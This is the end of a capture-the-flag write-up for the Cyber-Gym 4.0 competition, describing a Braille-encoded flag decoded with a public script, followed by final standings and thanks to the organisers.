Step 3 : Looking into the repository , found a weird commit history table.

Step 4 : Through googling found a script to make it in a readable format. its-sarin/BrailleCodec: A small python script to encode plain text to Braille or decode Braille to plain text.

Step 5 : After checking the source code i crafted the Braille code to give it as a input.

⠼⠍⠇⠁⠊⠝⠙⠊⠉

Step 6 : Using the following command was able to convert the braille code to text format.

Flag: cygym{mlaindic}

And finally the CTF got over, we were not able to complete all the challenges .

But we submitted documentation for all the completed challenges , which take us to the Third place with bonus points for each challenge.

Final standing of the CTF

Overall Cyber-Gym 4.0 status

Huge Shout out to the CTF Creators Piyush Sharma ,Akash Upadhyay,Jaskaran Singh for creating such awesome CTF with full of fun and learning .

Winner : Deepak Pawar, Darshil Kalpesh Desai, Sankararaman Krishnan (Team Name: Golden_snitchers)
First Runner Up : Clint, Abhishek Agarwal, Swarnim (Team Name: Dumbledorks)
Second Runner Up : Dhiyaneshwaran , Divik Shrivastava , Anurag Pal (Team Name: Raw and Aurors)

Thanks for reading this , Hope you liked it!!!